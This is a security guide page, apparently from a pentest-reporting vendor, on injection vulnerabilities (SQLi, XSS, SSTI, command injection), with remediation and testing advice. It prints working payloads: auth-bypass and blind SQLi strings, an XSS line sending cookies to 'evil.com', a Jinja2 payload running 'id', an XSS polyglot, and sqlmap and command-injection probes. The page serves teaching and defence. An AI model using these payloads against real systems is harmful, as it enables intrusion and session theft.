Vulnsy

Injection

A03:2025 - InjectionCWE-79 - Improper Neutralization of Input During Web Page Generation (XSS)CWE-89 - Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)CWE-78 - Improper Neutralization of Special Elements used in an OS CommandCWE-94 - Improper Control of Generation of Code (Code Injection)

Comprehensive guide to Injection vulnerabilities including SQL injection, XSS, command injection, LDAP injection, and expert remediation techniques.

What is Injection?

Injection vulnerabilities occur when an application sends untrusted data to an interpreter as part of a command or query without proper validation, sanitization, or parameterization. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without authorization. Injection has been one of the most dangerous and prevalent web application vulnerability categories for over two decades, consistently appearing in the OWASP Top 10 since its inception.

The injection family encompasses a wide variety of specific vulnerability types, each targeting a different interpreter or processing context. SQL injection targets database queries, Cross-Site Scripting (XSS) targets web browsers through HTML/JavaScript injection, OS command injection targets the system shell, LDAP injection targets directory services, NoSQL injection targets document databases, template injection targets server-side template engines, and expression language injection targets framework expression evaluators. Despite their different targets, all injection vulnerabilities share the same root cause: untrusted input being incorporated into interpreted code without proper separation between code and data.

The most common injection types in modern web applications include:

  • SQL Injection (SQLi): Manipulating SQL queries to extract, modify, or delete database contents, bypass authentication, or execute administrative operations
  • Cross-Site Scripting (XSS): Injecting malicious JavaScript that executes in other users' browsers, enabling session hijacking, defacement, and credential theft
  • OS Command Injection: Injecting operating system commands through application functions that shell out to the OS
  • Server-Side Template Injection (SSTI): Injecting template directives that execute arbitrary code on the server
  • NoSQL Injection: Exploiting query operators in MongoDB, CouchDB, or other NoSQL databases to bypass authentication or extract data
  • LDAP Injection: Manipulating LDAP queries to bypass authentication or enumerate directory information
  • Header Injection / CRLF Injection: Injecting HTTP headers to perform response splitting, session fixation, or cache poisoning

How It Works

SQL injection, the most well-known injection type, exploits applications that construct SQL queries by concatenating user input. Consider a login form that builds its query like this:

const query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";

An attacker can bypass authentication by entering ' OR '1'='1' -- as the username. The resulting query becomes:

SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = ''

The OR '1'='1' condition makes the WHERE clause always true, and -- comments out the rest of the query. More advanced SQL injection techniques include UNION-based extraction (using UNION SELECT to append arbitrary query results), blind SQL injection (extracting data one bit at a time by observing true/false conditions or time delays), and out-of-band extraction (using database functions to make HTTP or DNS requests to attacker-controlled servers).

Cross-Site Scripting works by injecting HTML or JavaScript into pages viewed by other users. In a reflected XSS attack, the payload is included in a request parameter that the server echoes back without encoding: https://target.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>. Stored XSS is more dangerous because the payload is permanently saved (e.g., in a forum post or user profile) and executes every time another user views the affected page. DOM-based XSS occurs entirely in the client when JavaScript reads from an attacker-controllable source (like location.hash) and writes to a dangerous sink (like innerHTML).

Server-Side Template Injection (SSTI) is particularly dangerous because it often leads directly to Remote Code Execution. When user input is embedded into a server-side template (Jinja2, Twig, Freemarker, Pebble), attackers can inject template expressions that break out of the template sandbox. For example, in Jinja2: {{config.__class__.__init__.__globals__['os'].popen('id').read()}} executes the id command on the server. OS command injection follows a similar principle: if the application passes user input to a shell command (via exec(), system(), or backticks), an attacker can append additional commands using ;, |, &&, or $() operators.

Impact

  • Complete database compromise through SQL injection: extraction of all data, modification or deletion of records, and in some cases execution of operating system commands through database features like xp_cmdshell (SQL Server) or COPY TO PROGRAM (PostgreSQL)
  • Authentication bypass allowing attackers to log in as any user, including administrators, without knowing valid credentials
  • Account takeover through XSS-based session hijacking, where stolen session cookies or tokens grant the attacker full access to victim accounts
  • Remote Code Execution (RCE) through command injection, SSTI, or SQL injection with OS command capabilities, giving attackers full control of the server
  • Data exfiltration of sensitive records including PII, financial data, healthcare records, and trade secrets, triggering regulatory breach notification requirements
  • Persistent compromise through stored XSS or backdoors installed via RCE, affecting all users who visit the compromised pages
  • Lateral movement to internal systems when the compromised application server has network access to databases, internal APIs, or other infrastructure
  • Client-side attacks through XSS enabling cryptocurrency mining, keylogging, phishing form injection, and malware distribution to application users

Remediation Steps

  1. Use parameterized queries (prepared statements) for all database interactions. Never concatenate user input into SQL strings. In Node.js with PostgreSQL: db.query('SELECT * FROM users WHERE id = $1', [userId]). In Java with JDBC: PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE id = ?"); ps.setInt(1, userId);. Use an ORM (Drizzle, Prisma, SQLAlchemy, Hibernate) as an additional layer of protection.
  2. Implement context-aware output encoding for all user-supplied data rendered in HTML pages. Encode for the specific output context: HTML entity encoding for HTML body, JavaScript encoding for script contexts, URL encoding for URL parameters, and CSS encoding for style contexts. Use framework-provided auto-escaping (React JSX, Angular templates, Jinja2 autoescaping) and avoid bypasses like dangerouslySetInnerHTML or | safe.
  3. Implement Content Security Policy (CSP) headers to mitigate XSS impact. Start with a restrictive policy: Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;. Avoid 'unsafe-inline' and 'unsafe-eval' for script-src. Use nonce-based or hash-based CSP for inline scripts that are absolutely necessary.
  4. Avoid passing user input to operating system commands. If shell execution is unavoidable, use language-specific safe APIs that do not invoke a shell: subprocess.run(['command', arg1, arg2], shell=False) in Python or execFile() instead of exec() in Node.js. Apply strict allowlists for permitted input values.
  5. Validate and sanitize all user input on the server side. Implement allowlist validation where possible (e.g., numeric IDs should only contain digits). For rich text input, use a proven sanitization library like DOMPurify (client-side) or Bleach (Python) that strips dangerous HTML while preserving safe markup.
  6. Use safe template rendering practices. Never pass user input directly into template strings. Use template engines with auto-escaping enabled by default. For user-generated templates (if absolutely required), use a sandboxed engine with restricted functionality.
  7. Deploy a Web Application Firewall (WAF) as a defense-in-depth measure. Configure rules to detect and block common injection payloads. However, never rely on WAF alone, as bypasses are regularly discovered. The WAF should complement, not replace, secure coding practices.
  8. Implement least-privilege database accounts for application connections. The application's database user should only have SELECT, INSERT, UPDATE, and DELETE permissions on required tables. Never use DBA or sa accounts. Disable dangerous database features like xp_cmdshell, LOAD_FILE(), and INTO OUTFILE.

Testing Guidance

Testing for injection vulnerabilities is a core competency of web application penetration testing. Begin by identifying all input vectors: form fields, URL parameters, HTTP headers (Cookie, Referer, User-Agent, X-Forwarded-For), JSON/XML request bodies, file upload names and contents, and WebSocket messages. Each input that is reflected in responses, used in database queries, or passed to system commands is a potential injection point.

For SQL injection testing, use SQLMap as your primary automated tool: sqlmap -u "https://target.com/api/search?q=test" --level=5 --risk=3 --batch. SQLMap can detect and exploit all types of SQL injection including boolean-blind, time-blind, error-based, UNION-based, and stacked queries. Supplement automated scanning with manual testing in Burp Suite: inject classic payloads like ' OR '1'='1, '; WAITFOR DELAY '0:0:5'-- (time-based blind), and ' UNION SELECT NULL,NULL,NULL-- (UNION-based). Test with various encodings and evasion techniques to bypass WAF rules.

For XSS testing, inject polyglot payloads that work across multiple contexts: jaVasCript:/*-/*`/*\*/alert(document.domain)//'";*/</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(document.domain)>. Use Burp Suite's active scanner to identify reflected and stored XSS. For DOM XSS, analyze JavaScript sources and sinks using browser DevTools or tools like DOM Invader (built into Burp's Chromium browser). Test SSTI by injecting mathematical expressions in template syntax: {{7*7}}, 49, <%= 7*7 %>. If the output shows 49, the application is vulnerable. Use the tplmap tool to automate SSTI detection and exploitation across multiple template engines. For command injection, test with time-based payloads: ; sleep 10, | ping -c 10 127.0.0.1, and out-of-band payloads using Burp Collaborator: $(nslookup collaborator-domain).

References

injectionsql injectionxsscross-site scriptingcommand injectionowasp top 10input validationparameterized queries

Frequently Asked Questions

What is Injection?

Injection vulnerabilities occur when an application sends untrusted data to an interpreter as part of a command or query without proper validation, sanitization, or parameterization. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without authorization.

How does Injection work?

SQL injection, the most well-known injection type, exploits applications that construct SQL queries by concatenating user input. Consider a login form that builds its query like this: const query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"; An attacker can bypass authentication by entering ' OR '1'='1'...

How do you test for Injection?

Testing for injection vulnerabilities is a core competency of web application penetration testing. Begin by identifying all input vectors: form fields, URL parameters, HTTP headers (Cookie, Referer, User-Agent, X-Forwarded-For), JSON/XML request bodies, file upload names and contents, and WebSocket messages.

How do you remediate Injection?

Use parameterized queries (prepared statements) for all database interactions. Never concatenate user input into SQL strings. In Node.js with PostgreSQL: db.query('SELECT * FROM users WHERE id = $1', [userId]). In Java with JDBC: PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE id = ?"); ps.setInt(1, userId);. Use an ORM (Drizzle, Prisma, SQLAlchemy, Hibernate) as an additional layer of protection.

Report Vulnerabilities Faster with Vulnsy

Stop rewriting the same findings. Use Vulnsy's reusable templates, collaborative workflows, and professional report generation to deliver pentest reports 10x faster.

Start Free Trial